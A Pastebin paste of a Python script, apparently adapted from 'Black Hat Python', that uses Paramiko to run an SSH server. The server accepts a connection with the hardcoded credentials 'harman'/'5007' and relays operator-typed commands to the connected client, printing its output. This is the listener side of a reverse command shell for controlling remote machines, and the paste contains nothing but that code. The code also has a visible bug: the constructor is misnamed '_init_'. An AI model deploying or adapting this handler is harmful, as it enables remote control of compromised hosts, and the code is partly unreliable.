Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import paramiko
- import threading
- import sys
- # using the key from the Paramiko demo files
- host_key = paramiko.RSAKey(filename='test_rsa.key')
- class Server (paramiko.ServerInterface):
- def _init_(self):
- self.event = threading.Event()
- # This function Checks if there is any session is created or not
- def check_channel_request(self, kind, chanid):
- if kind == 'session':
- return paramiko.OPEN_SUCCEEDED
- return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
- def check_auth_password(self, username, password):
- if (username == 'harman') and (password == '5007'):
- return paramiko.AUTH_SUCCESSFUL
- return paramiko.AUTH_FAILED
- server = sys.argv[1]
- ssh_port = int(sys.argv[2])
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- # socket.SO_REUSEADDR allows protocols to use the same port on localhost #_____multiple times only if protocols request it
- sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- sock.bind((server, ssh_port))
- sock.listen(100)
- print('[+] Listening for connection ...')
- client, addr = sock.accept()
- except Exception as e:
- print (f'[-] Listen failed: {e}')
- sys.exit(1)
- print('[+] Got a connection!')
- try:
- bhSession = paramiko.Transport(client)
- #ssh.load_system_host_keys()
- bhSession.add_server_key(host_key)
- server1 = Server()
- try:
- bhSession.start_server(server=server1)
- except paramiko.SSHException as x:
- print ('[-] SSH negotiation failed.')
- chan = bhSession.accept(20)
- print('[+] Authenticated!')
- #chan.send('Welcome to bh_ssh'.encode('utf-8'))
- print(chan.recv(4096).decode('utf-8'))
- chan.send('Welcome to bh_ssh'.encode('utf-8'))
- while not chan.closed:
- try:
- command = input("Enter command: ").rstrip()
- #if len(command):
- if command != 'exit':
- chan.send(command)
- print(chan.recv(4096).decode('utf-8') + '\n')
- else:
- print('exiting')
- bhSession.close()
- print("[*] SSH session closed")
- sys.exit(1)
- except Exception as err:
- print("[*] Caught Exception: ", str(err))
- print("[*] Exiting Script")
- except Exception as e :
- print (f'[-] Caught exception:{e}')
- sys.exit(1)
Add Comment
Please, Sign In to add comment